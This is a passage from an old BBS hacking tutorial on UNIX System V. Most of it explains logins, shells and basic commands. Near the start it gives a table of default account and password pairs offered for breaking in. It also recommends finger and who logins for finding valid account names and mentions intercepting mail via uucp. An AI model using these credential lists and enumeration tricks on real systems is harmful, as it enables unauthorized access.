/&gt;a clue about how to use UNIX a good start, and may hopefully teach old pros&lt;br /&gt;something they didn't know before.  This file deals with UNIX SYSTEM V and&lt;br /&gt;its variants.  When I talk about unix, its usually about SYSTEM V (rel 3.2).&lt;br /&gt;&lt;br /&gt;Where Can I be found?  I have no Idea.  The Boards today are going Up'n'Down&lt;br /&gt;so fast, 3 days after you read this file, if I put a BBS in it where you could&lt;br /&gt;reach me, it may be down!  Just look for me.&lt;br /&gt;&lt;br /&gt;I can be reached on DarkWood Castle [If it goes back up], but that board&lt;br /&gt;is hard to get access on, but I decided to mention it anyway.&lt;br /&gt;&lt;br /&gt;I *COULD* Have been reached on jolnet, but......&lt;br /&gt;&lt;br /&gt;This file may have some bad spelling, etc, or discrepencies since it was&lt;br /&gt;spread out over a long time of writing, because of school, work, Girl friend,&lt;br /&gt;etc.  Please, no flames.  If you don't like this file, don't keep it.&lt;br /&gt;&lt;br /&gt;This is distributed under PHAZE Inc.  Here are the members (and ex ones)&lt;br /&gt;The Dark Pawn&lt;br /&gt;The Data Wizard&lt;br /&gt;Sir Hackalot (Me)&lt;br /&gt;Taxi (ummm.. Busted)&lt;br /&gt;Lancia (Busted)&lt;br /&gt;The British Knight (Busted)&lt;br /&gt;The Living Pharoah (Busted)&lt;br /&gt;&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------&lt;br /&gt;o Dedication:&lt;br /&gt;-------------&lt;br /&gt;        This phile is dedicated to the members of LOD that were raided in&lt;br /&gt;Atlanta.  The members that got busted were very good hackers, especially&lt;br /&gt;The Prophet. Good luck to you guys, and I hope you show up again somewhere.&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;o A little History, etc:&lt;br /&gt;------------------------&lt;br /&gt;&lt;br /&gt;        UNIX, of course, was invented By AT&amp;amp;T in the 60's somewhere, to be&lt;br /&gt;"a programmer's operating system."  While that goal was probably not reached&lt;br /&gt;when they first invented UNIX, it seems that now, UNIX is a programmer's OS.&lt;br /&gt;UNIX, as I have said before, is a multi-tasking/multi-user OS.  It is also&lt;br /&gt;written in C, or at least large parts of it are, thus making it a portable&lt;br /&gt;operating system.  We know that MSDOS corresponds to IBM/clone machines,&lt;br /&gt;right?  Well, this is not the case with UNIX.  We do not associate it with&lt;br /&gt;any one computer since it has been adapted for many, and there are many&lt;br /&gt;UNIX variants [that is, UNIX modified by a vendor, or such].  Some AT&amp;amp;T&lt;br /&gt;computers run it, and also some run MSDOS [AT&amp;amp;T 6300].  The SUN workstations&lt;br /&gt;run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version&lt;br /&gt;of UNIX.  Remember, no matter what the name of the operating system is [BSD,&lt;br /&gt;UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the&lt;br /&gt;commands the operating system uses.  Some variants may have features others&lt;br /&gt;do not, but they are basically similar in that they have a lot of the same&lt;br /&gt;commands/datafiles.  When someone tries to tell you that UNIX goes along with&lt;br /&gt;a certain type of computer, they may be right, but remember, some computers&lt;br /&gt;have more than one Operating system.  For instance, one person may tell you&lt;br /&gt;that UNIX is to a VAX as MSDOS is to IBM/clones.  That is untrue, and the&lt;br /&gt;only reason I stated that, was because I have seen many messages with info&lt;br /&gt;/comparisons in it like that, which confuse users when they see a VAX running&lt;br /&gt;VMS.&lt;br /&gt;____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------------------------&lt;br /&gt;o Identifying a Unix/Logging in&lt;br /&gt;-------------------------------&lt;br /&gt;&lt;br /&gt;        From now on, I will be referring to all the UNIX variants/etc as&lt;br /&gt;UNIX, so when I say something about UNIX, it generally means all the variants&lt;br /&gt;(Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless&lt;br /&gt;I state a variant in particular.&lt;br /&gt;&lt;br /&gt;        Okay.  Now its time for me to tell you how a unix USUALLY greets you.&lt;br /&gt;First, when you call up a UNIX, or connect to one however you do, you will&lt;br /&gt;usually get this prompt:&lt;br /&gt;&lt;br /&gt;login:&lt;br /&gt;&lt;br /&gt;Ok.  Thats all fine and dandy.  That means that this is PROBABLY a Unix,&lt;br /&gt;although there are BBS's that can mimic the login procedure of an OS&lt;br /&gt;(Operating System), thus making some people believe its a Unix. [Hah!].&lt;br /&gt;Some Unixes will tell you what they are or give you a message before a&lt;br /&gt;login:  prompt, as such:&lt;br /&gt;&lt;br /&gt;Welcome to SHUnix.  Please log in.&lt;br /&gt;&lt;br /&gt;login:&lt;br /&gt;&lt;br /&gt;        Or something like that.  Public access Unixes [like Public BBSs] will&lt;br /&gt;tell you how to logon if you are a new users.  Unfortunatly, this phile is&lt;br /&gt;not about public access Unixes, but I will talk about them briefly later, as&lt;br /&gt;a UUCP/UseNet/Bitnet address for mail.&lt;br /&gt;        OK.  You've gotten to the login prompt!  Now, what you need to do&lt;br /&gt;here is enter in a valid account.  An Account usually consists of 8 characters&lt;br /&gt;or less.  After you enter in an account, you will probably get a password&lt;br /&gt;prompt of some sort.  The prompts may vary, as the source code to the login&lt;br /&gt;program is usually supplied with UNIX, or is readily available for free.&lt;br /&gt;Well, The easiest thing I can say to do to login is basically this:&lt;br /&gt;Get an account, or try the defaults.  The defaults are ones that came with&lt;br /&gt;the operating system, in standard form.  The list of some of the Defaults&lt;br /&gt;are as follows:&lt;br /&gt;&lt;br /&gt;ACCOUNT                         PASSWORD&lt;br /&gt;-------                         --------&lt;br /&gt;root                            root      - Rarely open to hackers&lt;br /&gt;sys                             sys / system / bin&lt;br /&gt;bin                             sys / bin&lt;br /&gt;mountfsys                       mountfsys&lt;br /&gt;adm                             adm&lt;br /&gt;uucp                            uucp&lt;br /&gt;nuucp                           anon&lt;br /&gt;anon                            anon&lt;br /&gt;user                            user&lt;br /&gt;games                           games&lt;br /&gt;install                         install&lt;br /&gt;reboot                            * See Below&lt;br /&gt;demo                            demo&lt;br /&gt;umountfsys                      umountfsys&lt;br /&gt;sync                            sync&lt;br /&gt;admin                           admin&lt;br /&gt;guest                           guest&lt;br /&gt;daemon                          daemon&lt;br /&gt;&lt;br /&gt;The accounts root, mountfsys, umountfsys, install, and sometimes sync are&lt;br /&gt;root level accounts, meaning they have sysop power, or total power.  Other&lt;br /&gt;logins are just "user level" logins meaning they only have power over what&lt;br /&gt;files/processes they own.  I'll get into that later, in the file permissions&lt;br /&gt;section.  The REBOOT login is what as known as a command login, which just&lt;br /&gt;simply doesn't let you into the operating system, but executes a program&lt;br /&gt;assigned to it.  It usually does just what it says, reboot the system.  It&lt;br /&gt;may not be standard on all UNIX systems, but I have seen it on  UNISYS unixes&lt;br /&gt;and also HP/UX systems [Hewlett Packard Unixes].  So far, these accounts have&lt;br /&gt;not been passworded [reboot], which is real stupid, if you ask me.&lt;br /&gt;&lt;br /&gt;COMMAND LOGINS:&lt;br /&gt;---------------&lt;br /&gt;&lt;br /&gt;There are "command logins", which, like reboot, execute a command then log&lt;br /&gt;you off instead of letting you use the command interpreter. BSD is notorious&lt;br /&gt;for having these, and concequently, so does MIT's computers. Here are some:&lt;br /&gt;&lt;br /&gt;rwho - show who is online&lt;br /&gt;finger - same&lt;br /&gt;who - same&lt;br /&gt;&lt;br /&gt;These are the most useful, since they will give the account names that are&lt;br /&gt;online, thus showing you several accounts that actually exist.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Errors:&lt;br /&gt;-------&lt;br /&gt;&lt;br /&gt;When you get an invalid Account name / invalid password, or both, you will&lt;br /&gt;get some kind of error.  Usually it is the "login incorrect" message.  When&lt;br /&gt;the computer tells you that, you have done something wrong by either enterring&lt;br /&gt;an invalid account name, or a valid account name, but invalid password.  It&lt;br /&gt;does not tell you which mistake you made, for obvious reasons.  Also,&lt;br /&gt;when you login incorrectly, the error log on the system gets updated, letting&lt;br /&gt;the sysops(s) know something is amiss.&lt;br /&gt;&lt;br /&gt;        Another error is "Cannot change to home directory" or "Cannot Change&lt;br /&gt;Directory."  This means that no "home directory" which is essentially the&lt;br /&gt;'root' directory for an account, which is the directory you start off in.&lt;br /&gt;On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in&lt;br /&gt;/homedirectory.  [Note: The / is used in directories on UNIX, not a \ ].&lt;br /&gt;Most systems will log you off after this, but some tell you that they will&lt;br /&gt;put you in the root directory [ '/'].&lt;br /&gt;&lt;br /&gt;        Another error is "No Shell".  This means that no "shell" was defined&lt;br /&gt;for that particular account.  The "shell" will be explained later.  Some&lt;br /&gt;systems will log you off after this message.  Others will tell you that they&lt;br /&gt;will use the regular shell, by saying "Using the bourne shell", or "Using sh"&lt;br /&gt;&lt;br /&gt;-----------------------------&lt;br /&gt;Accounts In General        :&lt;br /&gt;-----------------------------&lt;br /&gt;&lt;br /&gt;        This section is to hopefully describe to you the user structure&lt;br /&gt;in the UNIX environment.&lt;br /&gt;        Ok, think of UNIX having two levels of security: absolute power,&lt;br /&gt;or just a regular user.  The ones that have absolute power are those users&lt;br /&gt;at the root level.  Ok, now is the time to think in numbers.  Unix associates&lt;br /&gt;numbers with account names.  each account will have a number.  Some will have&lt;br /&gt;the same number.  That number is the UID [user-id] of the account.  the root&lt;br /&gt;user id is 0.  Any account that has a user id of 0 will have root access.&lt;br /&gt;Unix does not deal with account names (logins) but rather the number&lt;br /&gt;associated with them.  for instance, If my user-id is 50, and someone else's&lt;br /&gt;is 50, with both have absolute power of each other, but no-one else.&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;---------------&lt;br /&gt;Shells        :&lt;br /&gt;---------------&lt;br /&gt;&lt;br /&gt;        A shell is an executable program which loads and runs when a user&lt;br /&gt;logs on, and is in the foreground.  This "shell" can be any executable prog-&lt;br /&gt;ram, and it is defined in the "passwd" file which is the userfile.  Each&lt;br /&gt;login can have a unique "shell".  Ok.  Now the shell that we usually will work&lt;br /&gt;with is a command interpreter.  A command interpreter is simply something&lt;br /&gt;like MSDOS's COMMAND.COM, which processes commands, and sends them to the&lt;br /&gt;kernel [operating system].  A shell can be anything, as I said before,&lt;br /&gt;but the one you want to have is a command interpreter.  Here are the&lt;br /&gt;usual shells you will find:&lt;br /&gt;&lt;br /&gt;sh - This is the bourne shell. It is your basic Unix "COMMAND.COM".  It has&lt;br /&gt;     a "script" language, as do most of the command interpreters on Unix sys-&lt;br /&gt;     tems.&lt;br /&gt;&lt;br /&gt;csh - This is the "C" shell, which will allow you to enter "C" like commands.&lt;br /&gt;ksh - this is the korn shell.  Just another command interpreter.&lt;br /&gt;tcsh - this is one, which is used at MIT I believe.  Allows command editing.&lt;br /&gt;vsh - visual shell.  It is a menu driven deal.  Sorta like.. Windows for DOS&lt;br /&gt;rsh - restricted shell OR remote shell.  Both Explained later.&lt;br /&gt;        There are many others, including "homemade " shells, which are&lt;br /&gt;programs written by the owner of a unix, or for a specific unix, and they&lt;br /&gt;are not standard.  Remember, the shell is just the program you get to use&lt;br /&gt;and when it is done executing, you get logged off.  A good example of a&lt;br /&gt;homemade shell is on Eskimo North, a public access Unix.  The shell&lt;br /&gt;is called "Esh", and it is just something like a one-key-press BBS,&lt;br /&gt;but hey, its still a shell.  The Number to eskimo north is 206-387-3637.&lt;br /&gt;[206-For-Ever]. If you call there, send Glitch Lots of mail.&lt;br /&gt;        Several companies use Word Processors, databases, and other things&lt;br /&gt;as a user shell, to prevent abuse, and make life easier for unskilled computer&lt;br /&gt;operators.  Several Medical Hospitals use this kind of shell in Georgia,&lt;br /&gt;and fortunatly, these second rate programs leave major holes in Unix.&lt;br /&gt;Also, a BBS can be run as a shell.  Check out Jolnet [312]-301-2100, they&lt;br /&gt;give you a choice between a command interpreter, or a BBS as a shell.&lt;br /&gt;WHen you have a command interpreter, the prompt is usually a:&lt;br /&gt; $&lt;br /&gt;when you are a root user the prompt is usually a:&lt;br /&gt; #&lt;br /&gt;The variable, PS1, can be set to hold a prompt.&lt;br /&gt;For instance, if PS1 is "HI:", your prompt will be:&lt;br /&gt; HI:&lt;br /&gt;&lt;br /&gt;_____________________________________________________________________________&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;SPecial Characters, ETc:&lt;br /&gt;------------------------&lt;br /&gt;&lt;br /&gt;Control-D : End of file.  When using mail or a text editor, this will end&lt;br /&gt;the message or text file.  If you are in the shell and hit control-d you get&lt;br /&gt;logged off.&lt;br /&gt;&lt;br /&gt;Control-J: On some systems, this is like the enter key.&lt;br /&gt;@ : Is sometimes a "null"&lt;br /&gt;? : This is a wildcard.  This can represent a letter. If you specified&lt;br /&gt;   something at the command line like "b?b" Unix would look for bob,bib,bub,&lt;br /&gt;   and every other letter/number between a-z, 0-9.&lt;br /&gt;* : this can represent any number of characters.  If you specified a "hi*"&lt;br /&gt;    it would use "hit", him, hiiii, hiya, and ANYTHING that starts with&lt;br /&gt;    hi.  "H*l" could by hill, hull, hl, and anything that starts with an&lt;br /&gt;    H and ends with an L.&lt;br /&gt;&lt;br /&gt;[] - The specifies a range.  if i did b[o,u,i]b unix would think: bib,bub,bob&lt;br /&gt;     if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb.  Get the idea? The&lt;br /&gt;     [], ?, and * are usually used with copy, deleting files, and directory&lt;br /&gt;     listings.&lt;br /&gt;&lt;br /&gt;EVERYTHING in Unix is CASE sensitive.  This means "Hill" and "hill" are not&lt;br /&gt;the same thing.  This allows for many files to be able to be stored, since&lt;br /&gt;"Hill" "hill" "hIll" "hiLl", etc. can be different files.  So, when using&lt;br /&gt;the [] stuff, you have to specify capital letters if any files you are dealing&lt;br /&gt;with has capital letters.  Most everything is lower case though.&lt;br /&gt;&lt;br /&gt;----------------&lt;br /&gt;Commands to use:&lt;br /&gt;----------------&lt;br /&gt;&lt;br /&gt;Now, I will rundown some of the useful commands of Unix.  I will act&lt;br /&gt;as if I were typing in the actual command from a prompt.&lt;br /&gt;&lt;br /&gt;ls - this is to get a directory.  With no arguments, it will just print out&lt;br /&gt;     file names in either one column or multi-column output, depending on the&lt;br /&gt;     ls program you have access to.&lt;br /&gt;&lt;br /&gt;        example:&lt;br /&gt;        $ ls&lt;br /&gt;        hithere&lt;br /&gt;        runme&lt;br /&gt;        note.text&lt;br /&gt;        src&lt;br /&gt;        $&lt;br /&gt;        the -l switch will give you extended info on the files.&lt;br /&gt;        $ ls -l&lt;br /&gt;        rwx--x--x sirhack     sirh    10990 runme&lt;br /&gt;        and so on....&lt;br /&gt;&lt;br /&gt;the "rwx--x--x" is the file permission. [Explained Later]&lt;br /&gt;the "sirhack    sirh" is the owner of the file/group the file is in.&lt;br /&gt;sirhack = owner, sirh = user-group the file is in [explained later]&lt;br /&gt;the 10990 is the size of the file in bytes.&lt;br /&gt;"runme" is the file name.&lt;br /&gt;The format varies, but you should have the general idea.&lt;br /&gt;&lt;br /&gt;cat - this types out a file onto the screen.  should be used on text files.&lt;br /&gt;      only use it with binary files to make a user mad [explained later]&lt;br /&gt;      ex:&lt;br /&gt;      $ cat note.txt&lt;br /&gt;      This is a sample text file!&lt;br /&gt;      $&lt;br /&gt;&lt;br /&gt;cd - change directory .  You do it like this: cd /dir/dir1/dir2/dirn.&lt;br /&gt;     the dir1/etc.... describes the directory name.  Say I want to get&lt;br /&gt;     to the root directory.&lt;br /&gt;     ex:&lt;br /&gt;     $ cd /&lt;br /&gt;     *ok, I'm there.*&lt;br /&gt;     $ ls&lt;br /&gt;     bin&lt;br /&gt;     sys&lt;br /&gt;     etc&lt;br /&gt;     temp&lt;br /&gt;     work&lt;br /&gt;     usr&lt;br /&gt; all of the above are directories, lets say.&lt;br /&gt;     $ cd /usr&lt;br /&gt;     $ ls&lt;br /&gt;     sirhack&lt;br /&gt;     datawiz&lt;br /&gt;     prophet&lt;br /&gt;     src&lt;br /&gt;     violence&lt;br /&gt;     par&lt;br /&gt;     phiber&lt;br /&gt;     scythian&lt;br /&gt;     $ cd /usr/sirhack&lt;br /&gt;     $ ls&lt;br /&gt;     hithere&lt;br /&gt;     runme&lt;br /&gt;     note.text&lt;br /&gt;     src&lt;br /&gt;     $&lt;br /&gt;ok, now, you do not have to enter the full dir name.  if you are in&lt;br /&gt;a directory, and want to get into one that is right there [say "src"], you&lt;br /&gt;can type "cd src" [no "/"].  Instead of typing "cd /usr/sirhack/src" from the&lt;br /&gt;sirhack dir, you can type "cd src"&lt;br /&gt;&lt;br /&gt;cp - this copies a file. syntax for it is "cp fromfile tofile"&lt;br /&gt;     $ cp runme runme2&lt;br /&gt;     $ ls&lt;br /&gt;     hithere&lt;br /&gt;     runme&lt;br /&gt;     note.text&lt;br /&gt;     src&lt;br /&gt;     runme2&lt;br /&gt;Full pathnames can be included, as to copy it to another directory.&lt;br /&gt;     $ cp runme /usr/datwiz/runme&lt;br /&gt;&lt;br /&gt;mv - this renames a file. syntax "mv oldname newname"&lt;br /&gt;     $ mv runme2 runit&lt;br /&gt;     $ ls&lt;br /&gt;     hithere&lt;br /&gt;     runme&lt;br /&gt;     note.text&lt;br /&gt;     src&lt;br /&gt;     runit&lt;br /&gt;    files can be renamed into other directories.&lt;br /&gt;     $ mv runit /usr/datwiz/run&lt;br /&gt;     $ ls&lt;br /&gt;     hithere&lt;br /&gt;     runme&lt;br /&gt;     note.text&lt;br /&gt;     src&lt;br /&gt;     $ ls /usr/datwiz&lt;br /&gt;     runme&lt;br /&gt;     run&lt;br /&gt;&lt;br /&gt;pwd - gives current directory&lt;br /&gt;     $ pwd&lt;br /&gt;     /usr/sirhack&lt;br /&gt;     $ cd src&lt;br /&gt;     $ pwd&lt;br /&gt;     /usr/sirhack/src&lt;br /&gt;     $ cd ..&lt;br /&gt;     $ pwd&lt;br /&gt;     /usr/sirhack&lt;br /&gt;     [ the ".." means use the name one directory back. ]&lt;br /&gt;     $ cd ../datwiz&lt;br /&gt;       [translates to cd /usr/datwiz]&lt;br /&gt;     $ pwd&lt;br /&gt;     /usr/datwiz&lt;br /&gt;     $ cd $home&lt;br /&gt;     [goto home dir]&lt;br /&gt;     $ pwd&lt;br /&gt;     /usr/sirhack&lt;br /&gt;&lt;br /&gt;rm - delete a file.  syntax "rm filename" or "rm -r directory name"&lt;br /&gt;     $ rm note.text&lt;br /&gt;     $ ls&lt;br /&gt;     hithere&lt;br /&gt;     runme&lt;br /&gt;     src&lt;br /&gt;     $&lt;br /&gt;&lt;br /&gt;write - chat with another user.  Well, "write" to another user.&lt;br /&gt;syntax: "write username"&lt;br /&gt;    $ write scythian&lt;br /&gt;    scythian has been notified&lt;br /&gt;    Hey Scy! What up??&lt;br /&gt;    Message from scythian on tty001 at 17:32&lt;br /&gt;    hey!&lt;br /&gt;    me: So, hows life?&lt;br /&gt;    scy: ok, I guess.&lt;br /&gt;    me: gotta go finish this text file.&lt;br /&gt;    scy: ok&lt;br /&gt;    me: control-D [to exit program]&lt;br /&gt;    $&lt;br /&gt;&lt;br /&gt;who [w,who,whodo] - print who is online&lt;br /&gt;    $ who&lt;br /&gt;    login       term   logontime&lt;br /&gt;    scythian +  tty001 17:20&lt;br /&gt;    phiberO  +  tty002 15:50&lt;br /&gt;    sirhack  +  tty003 17:21&lt;br /&gt;    datawiz  -  tty004 11:20&lt;br /&gt;    glitch   -  tty666 66:60&lt;br /&gt;    $&lt;br /&gt;    the "who" commands may vary in the information given.  a "+" means&lt;br /&gt;    you can "write" to their terminal, a "-" means you cannot.&lt;br /&gt;&lt;br /&gt;man - show a manual page entry.  syntax "man command name"  This is a help&lt;br /&gt;      program.  If you wanted to know how to use... "who" you'd type&lt;br /&gt;    $ man who&lt;br /&gt;    WHO(1)   xxx......&lt;br /&gt;      and it would tell you.&lt;br /&gt;&lt;br /&gt;stty - set your terminal characteristics.  You WILL have to do "man stty"&lt;br /&gt;     since each stty is different, it seems like.&lt;br /&gt;     an example would be:&lt;br /&gt;    $ stty -parenb&lt;br /&gt;      to make the data params N,8,1.  A lot of Unixes operate at&lt;br /&gt;      e,7,1 by default.&lt;br /&gt;&lt;br /&gt;sz,rz - send and recieve via zmodem&lt;br /&gt;rx,sx - send / recieve via xmodem&lt;br /&gt;rb,sb - send via batch ymodem.   These 6 programs may or may not be on a unix.&lt;br /&gt;umodem - send/recieve via umodem.&lt;br /&gt;      $ sz filename&lt;br /&gt;      ready to send...&lt;br /&gt;      $ rz filename&lt;br /&gt;      please send your file....&lt;br /&gt;      ...etc..&lt;br /&gt;&lt;br /&gt;ed - text editor.  Usage "ed filename"  to create a file that doesn't&lt;br /&gt;     exist, just enter in "ed filename"&lt;br /&gt;     some versions of ed will give you a prompt, such as "*" others will not&lt;br /&gt;     $ ed newtext&lt;br /&gt;     0&lt;br /&gt;     * a&lt;br /&gt;     This is line 1&lt;br /&gt;     This is line 2&lt;br /&gt;     [control-z]&lt;br /&gt;     * 1 [to see line one]&lt;br /&gt;     This is line 1&lt;br /&gt;     * a [keep adding]&lt;br /&gt;     This is line 3&lt;br /&gt;     [control-z]&lt;br /&gt;     *0a [add after line 0]&lt;br /&gt;     This is THE first line&lt;br /&gt;     [control-z]&lt;br /&gt;     1,4l&lt;br /&gt;     This is THE first line&lt;br /&gt;     This is line 1&lt;br /&gt;     This is line 2&lt;br /&gt;     This is line 3&lt;br /&gt;     * w&lt;br /&gt;     71&lt;br /&gt;     * q&lt;br /&gt;     $&lt;br /&gt;   The 71 is number of bytes written.&lt;br /&gt;   a = append&lt;br /&gt;   l = list&lt;br /&gt;   # = print line number&lt;br /&gt;   w - write&lt;br /&gt;   l fname = load fname&lt;br /&gt;   s fname = save to fname&lt;br /&gt;   w = write to current file&lt;br /&gt;   q = quit&lt;br /&gt;mesg - turn write permissions on or off to your terminal (allow chat)&lt;br /&gt;     format "mesg y" or "mesg n"&lt;br /&gt;cc - the C compiler.  don't worry about this one right now.&lt;br /&gt;chmod - change mode of a file.  Change the access in other words.&lt;br /&gt;        syntax: "chmod mode filename"&lt;br /&gt;        $ chmod a+r newtext&lt;br /&gt;      Now everyone can read newtext.&lt;br /&gt;      a = all&lt;br /&gt;      r = read.  This will be explained further in the File System section.&lt;br /&gt;&lt;br /&gt;chown - change the owner of a file.&lt;br /&gt;       syntax: "chown owner filename"&lt;br /&gt;       $ chown scythian newtext&lt;br /&gt;       $&lt;br /&gt;chgrp - change the group [explained later] of a file.&lt;br /&gt;       syntax: "chgrp group file"&lt;br /&gt;       $ chgrp root runme&lt;br /&gt;       $&lt;br /&gt;finger - print out basic info on an account.  Format: finger username&lt;br /&gt;grep - search for patterns in a file.  syntax: "grep pattern file"&lt;br /&gt;       $ grep 1 newtext&lt;br /&gt;       This is Line 1&lt;br /&gt;       $ grep THE newtext&lt;br /&gt;       This is THE first line&lt;br /&gt;       $ grep "THE line 1" newtext&lt;br /&gt;       $&lt;br /&gt;&lt;br /&gt;mail - This is a very useful utility.  Obviously, you already know what it&lt;br /&gt;        is by its name.  There are several MAIL utilities, such as ELM, MUSH&lt;br /&gt;        and MSH, but the basic "mail" program is called "mail".  The usage&lt;br /&gt;        is:&lt;br /&gt;        "mail username@address" or&lt;br /&gt;        "mail username"&lt;br /&gt;        or&lt;br /&gt;        "mail"&lt;br /&gt;        or "mail addr1!addr2!addr3!user"&lt;br /&gt;&lt;br /&gt;        "mail username@address" - This is used to send mail to someone on&lt;br /&gt;another system, which is usually another UNIX, but some DOS machines and some&lt;br /&gt;VAX machines can recieve Unix Mail.  When you use "mail user@address" the&lt;br /&gt;system you are on MUST have a "smart mailer" [known as smail], and must&lt;br /&gt;have what we call system maps.  The smart mailer will find the "adress" part&lt;br /&gt;of the command and expand it into the full pathname usually.  I could look&lt;br /&gt;like this: mail phiber@optik&lt;br /&gt;           then look like this to the computer:&lt;br /&gt;&lt;br /&gt;           mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber&lt;br /&gt;&lt;br /&gt;Do not worry about it, I was merely explaining the principal of the thing.&lt;br /&gt;Now, if there is no smart mailer online, you'll have to know the FULL path&lt;br /&gt;name of the person you wish to mail to. For Instance, I want to mail to&lt;br /&gt;.. phiber.  I'd do this if there were no smart mailer:&lt;br /&gt;&lt;br /&gt;  $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber&lt;br /&gt;&lt;br /&gt;    Hey Guy.  Whats up?  Well, gotta go.  Nice long message huh?&lt;br /&gt;    [control-D]&lt;br /&gt;  $&lt;br /&gt;Then, when he got it, there would be about 20 lines of information, with&lt;br /&gt;like a post mark from every system my message went thru, and the "from" line&lt;br /&gt;would look like so:&lt;br /&gt;&lt;br /&gt;From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack &lt;sir&gt;&lt;br /&gt;&lt;br /&gt;        Now, for local mailing, just type in "mail username" where username&lt;br /&gt;is the login you want to send mail to.  Then type in your message.  Then&lt;br /&gt;end it with a control-D.&lt;br /&gt;&lt;br /&gt;        To read YOUR mail, just type in mail.  IE:&lt;br /&gt;&lt;br /&gt;        $ mail&lt;br /&gt;&lt;br /&gt;        From scythian ............&lt;br /&gt;        To sirhack ............&lt;br /&gt;        Subject: Well....&lt;br /&gt;&lt;br /&gt;        Arghhh!&lt;br /&gt;&lt;br /&gt;        ?&lt;br /&gt; The dots represent omitted crap.  Each Mail program makes its own headings.&lt;br /&gt; That ? is a prompt.  At this prompt I can type:&lt;br /&gt;&lt;br /&gt;        d - delete&lt;br /&gt;        f username - forward to username&lt;br /&gt;        w fname - write message to a file named fname&lt;br /&gt;        s fname - save message with header into file&lt;br /&gt;        q - quit / update mail&lt;br /&gt;        x - quit, but don't change a thing&lt;br /&gt;        m username - mail to username&lt;br /&gt;        r - reply&lt;br /&gt;        [enter] - read next message&lt;br /&gt;        + - go forward one message&lt;br /&gt;        - : go back one&lt;br /&gt;        h - print out message headers that are in your mailbox.&lt;br /&gt;&lt;br /&gt;There are others, to see them, you'd usually hit '?'.&lt;br /&gt;&lt;br /&gt;--------&lt;br /&gt;&lt;br /&gt;If you send mail to someone not on your system, you will have to wait longer&lt;br /&gt;for a reply, since it is just as a letter.  A "postman" has to pick it up.&lt;br /&gt;The system might call out, and use UUCP to transfer mail.  Usually, uucp&lt;br /&gt;accounts are no good to one, unless you have uucp available to intercept mail.&lt;br /&gt;&lt;br /&gt;ps - process.  This command allows you to see what you are actually doing&lt;br /&gt;in memory.  Everytime you run a program, it gets assigned a Process Id number&lt;br /&gt;(PID), for accounting purposes, and so it can be tracked in memory, as&lt;br /&gt;well as shut down by you, or root.  usually, the first thing in a process&lt;br /&gt;list given by "ps" is your shell name.  Say I was logged in under sirhack,&lt;br /&gt;using the shell "csh" and running "watch scythian".  The watch program would&lt;br /&gt;go into the background, meaning I'd still be able to do things while it was&lt;br /&gt;running:&lt;br /&gt;  $ ps&lt;br /&gt;  PID  TTY  NAME&lt;br /&gt;  122  001  ksh&lt;br /&gt;  123  001  watch&lt;br /&gt;  $&lt;br /&gt;  That is a shortened PS.  That is the default listing [a brief one].&lt;br /&gt;  The TTY column represents the "tty" [i/o device] that the process is being&lt;br /&gt;  run from.  This is only useful really if you are using layers (don't worry)&lt;br /&gt;  or more than one person is logged in with the same account name.  Now,&lt;br /&gt;  "ps -f" would give a full process listing on yourself, so instead of&lt;br /&gt;  seeing just plain ole "watch" you'd most likely see "watch scythian"&lt;br /&gt;&lt;br /&gt;kill - kill a process.  This is used to terminate a program in memory obvio-&lt;br /&gt;ously.  You can only kill processes you own [ones you started], unless you&lt;br /&gt;are root, or your EUID is the same as the process you want to kill.&lt;br /&gt;(Will explain euid later).  If you kill the shell process, you are logged&lt;br /&gt;off.  By the same token, if you kill someone else's shell process, they&lt;br /&gt;are logged off.  So, if I said "kill 122" I would be logged off.  However,&lt;br /&gt;kill only sends a signal to UNIX telling it to kill off a process.  If&lt;br /&gt;you just use the syntax "kill pid" then UNIX kills the process WHEN it feels&lt;br /&gt;like it, which may be never.  So, you can specify urgency! Try "kill -num pid"&lt;br /&gt;Kill -9 pid  is a definite kill almost instantly.  So if I did this:&lt;br /&gt; $ kill 122&lt;br /&gt; $ kill 123&lt;br /&gt; $ ps&lt;br /&gt; PID   TTY   NAME&lt;br /&gt; 122   001   ksh&lt;br /&gt; 123   001   watch&lt;br /&gt; $ kill -9 123&lt;br /&gt; [123]: killed&lt;br /&gt; $ kill -9 122&lt;br /&gt; garbage&lt;br /&gt; NO CARRIER&lt;br /&gt;&lt;br /&gt;Also, you can do "kill -1 0" to kill your shell process to log yourself off.&lt;br /&gt;This is useful in scripts (explained later).&lt;br /&gt;&lt;br /&gt;-------------------&lt;br /&gt;Shell Programmin'&lt;br /&gt;-------------------&lt;br /&gt;&lt;br /&gt;        Shell Programming is basically making a "script" file for the&lt;br /&gt;standard shell, being sh, ksh, csh, or something on those lines.  Its&lt;br /&gt;like an MSDOS batch file, but more complex, and more Flexible.&lt;br /&gt;This can be useful in one aspect of hacking.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First, lets get into variables.  Variables obviously can be assigned&lt;br /&gt;values.  These values can be string values, or numberic values.&lt;br /&gt;&lt;br /&gt;number=1&lt;br /&gt;&lt;br /&gt;        That would assign 1 to the variable named "number".&lt;br /&gt;&lt;br /&gt;string=Hi There&lt;br /&gt;or&lt;br /&gt;string="Hi There"&lt;br /&gt;&lt;br /&gt;        Both would assign "Hi there" to a variable.&lt;br /&gt;&lt;br /&gt;        Using a variable is different though.  When you wish to use a variable&lt;br /&gt;        you must procede it with a dollar ($) sign.  These variables can&lt;br /&gt;        be used as arguments in programs.  When I said that scripts are&lt;br /&gt;        like batch files, I meant it.  You can enter in any name of a program&lt;br /&gt;        in a script file, and it will execute it. Here is a sample script.&lt;br /&gt;&lt;br /&gt;counter=1&lt;br /&gt;arg1="-uf"&lt;br /&gt;arg2="scythian"&lt;br 